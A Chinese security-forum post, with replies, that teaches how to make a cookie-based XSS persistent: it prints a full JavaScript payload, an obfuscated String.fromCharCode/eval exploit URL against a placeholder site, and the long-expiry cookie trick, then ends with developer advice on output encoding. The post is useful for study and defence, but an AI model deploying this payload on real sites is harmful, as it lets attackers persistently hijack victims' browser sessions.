九零登录

[【通过】] 注入COOKIE实现XSS持久性

[复制链接]
发表于 2015-12-15 20:16:42 | 显示全部楼层 |阅读模式
本帖最后由 Θ㏒ 于 2015-12-16 05:55 编辑


注入COOKIE实现XSS持久性

在常见的实例中我们通过WEB扫描器扫到COOKIE XSS这样的漏洞,简单来看甚至并没有反射性XSS好利用。
其实不然,我们看简单一个例子。

HTTP请求头:
COOKIE: name=90sec

页面A:

<html>
<body>
welcome to 90sec.
</body>

经过细心调试,发现90sec内容是从cookie name字段提取的。Victim浏览器下一般只能用javascript来修改name为xss代码。
那么这种COOKIE XSS该如何利用呢?

我们先找到任何一个同域的XSS漏洞B页面

http://abc.com/project/id/1/alert(/Warning/)

这里是可以正常弹出alert.那好,通过此处将持久性代码注入到同域下的COOKIE name字段里去。

document.title= 'COOKIE Injtion';
document.body.innerHTML="<html><body><h1><font color=\"red\">XSS!!!<\/font><\/h1><\/body>";
var c=document.cookie;
function getCookie(c_name){
if (document.cookie.length>0){
  c_start=document.cookie.indexOf(c_name + "=");
  if (c_start!=-1){
    c_start=c_start + c_name.length+1;
    c_end=document.cookie.indexOf(";",c_start);
    if (c_end==-1) c_end=document.cookie.length;
    return unescape(document.cookie.substring(c_start,c_end));
    }
  }
return "";
}
c=getCookie('name');
function sc(){document.cookie="name="+c+";host=abc.com;expires=Mon, 10 May 2090 10:10:11 GMT;path=\/;";}
sc();
function xt(){
sc();
}
setInterval("xt()",3000);

上面代码关键在于expires设置成了一个超长GMT格式过期时间。普通情况下COOKIE在没有过期条件下浏览器退出就会清空掉。

实际环境中,可以用String.fromCharCode将代码转换为一行,为了防止超长COOKIE导致错误也可以直接远程引用。

http://abc.com/project/id/1/eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 116, 105, 116, 108, 101, 61, 32, 39, 67, 79, 79, 75, 73, 69, 32, 73, 110, 106, 116, 105, 111, 110, 39, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 105, 110, 110, 101, 114, 72, 84, 77, 76, 61, 34, 60, 104, 116, 109, 108, 62, 60, 98, 111, 100, 121, 62, 60, 104, 49, 62, 60, 102, 111, 110, 116, 32, 99, 111, 108, 111, 114, 61, 92, 34, 114, 101, 100, 92, 34, 62, 88, 83, 83, 33, 33, 33, 60, 92, 47, 102, 111, 110, 116, 62, 60, 92, 47, 104, 49, 62, 60, 92, 47, 98, 111, 100, 121, 62, 34, 59, 32, 118, 97, 114, 32, 99, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 32, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 67, 111, 111, 107, 105, 101, 40, 99, 95, 110, 97, 109, 101, 41, 123, 32, 105, 102, 32, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 108, 101, 110, 103, 116, 104, 62, 48, 41, 123, 32, 32, 32, 99, 95, 115, 116, 97, 114, 116, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 105, 110, 100, 101, 120, 79, 102, 40, 99, 95, 110, 97, 109, 101, 32, 43, 32, 34, 61, 34, 41, 59, 32, 32, 32, 105, 102, 32, 40, 99, 95, 115, 116, 97, 114, 116, 33, 61, 45, 49, 41, 123, 32, 32, 32, 32, 32, 32, 99, 95, 115, 116, 97, 114, 116, 61, 99, 95, 115, 116, 97, 114, 116, 32, 43, 32, 99, 95, 110, 97, 109, 101, 46, 108, 101, 110, 103, 116, 104, 43, 49, 59, 32, 32, 32, 32, 32, 99, 95, 101, 110, 100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 105, 110, 100, 101, 120, 79, 102, 40, 34, 59, 34, 44, 99, 95, 115, 116, 97, 114, 116, 41, 59, 32, 32, 32, 32, 32, 105, 102, 32, 40, 99, 95, 101, 110, 100, 61, 61, 45, 49, 41, 32, 99, 95, 101, 110, 100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 108, 101, 110, 103, 116, 104, 59, 32, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 117, 110, 101, 115, 99, 97, 112, 101, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 115, 117, 98, 115, 116, 114, 105, 110, 103, 40, 99, 95, 115, 116, 97, 114, 116, 44, 99, 95, 101, 110, 100, 41, 41, 59, 32, 32, 32, 32, 32, 125, 32, 32, 32, 32, 125, 32, 114, 101, 116, 117, 114, 110, 32, 34, 34, 59, 32, 125, 32, 99, 61, 103, 101, 116, 67, 111, 111, 107, 105, 101, 40, 39, 110, 97, 109, 101, 39, 41, 59, 32, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 99, 40, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 61, 34, 110, 97, 109, 101, 61, 34, 43, 99, 43, 34, 59, 104, 111, 115, 116, 61, 97, 98, 99, 46, 99, 111, 109, 59, 101, 120, 112, 105, 114, 101, 115, 61, 77, 111, 110, 44, 32, 49, 48, 32, 77, 97, 121, 32, 50, 48, 57, 48, 32, 49, 48, 58, 49, 48, 58, 49, 49, 32, 71, 77, 84, 59, 112, 97, 116, 104, 61, 92, 47, 59, 34, 59, 125, 32, 115, 99, 40, 41, 59, 32, 102, 117, 110, 99, 116, 105, 111, 110, 32, 120, 116, 40, 41, 123, 32, 115, 99, 40, 41, 59, 32, 125, 32, 115, 101, 116, 73, 110, 116, 101, 114, 118, 97, 108, 40, 34, 120, 116, 40, 41, 34, 44, 51, 48, 48, 48, 41, 59))

xss payload设置好之后我们用最技巧性办法让victim使代码注入进cookie,中枪后只要下次访问就会重新激活XSS代码,这时一般XSS也就转换为了持久型的XSS。这样只要COOKIE没有被手动清除是长期驻留在系统里的。


开发人员建议:

  将特殊字符"'<>\(),等编码为HTML字符实体。一般开发人员虽然很注重输入过滤,在输出上并没察觉出什么问题,认为只要输入做的严格就不会有大问题,甚至有安全开发经验人员也不例外。因为有时候并不一定是来自WEB层的攻击。客户端的COOKIE缓存文件被恶意修改,依然可以造成注入持续性XSS攻击。

======================================

工欲善其事必先利其器,通过。




评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2015-12-16 18:13:15 | 显示全部楼层
这个好玩,cookie里面藏xss,那么弹出的cookie又是xss代码了,坐等二楼解释
发表于 2015-12-16 20:03:51 | 显示全部楼层
二楼决定把解释的机会留给三楼
发表于 2015-12-16 21:19:11 | 显示全部楼层
Local storage
Application Cache
发表于 2015-12-18 21:52:14 | 显示全部楼层
Bsmali4 发表于 2015-12-16 18:13
这个好玩,cookie里面藏xss,那么弹出的cookie又是xss代码了,坐等二楼解释

其实这篇文章非常相似的 80sec 发的xss rookithttp://www.80sec.com/%E6%B7%B1%E ... BF%AE%E8%AE%A2.html
你看下,这篇文章就非常好理解了。
发表于 2015-12-21 11:01:25 | 显示全部楼层
这个有点意思啊   很猥琐  欢迎加入90  学习了
发表于 2015-12-22 13:12:02 | 显示全部楼层
涨姿势了,5L给的链接,更容易理解一点。

九零

GMT+8, 2026-10-22 12:52

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表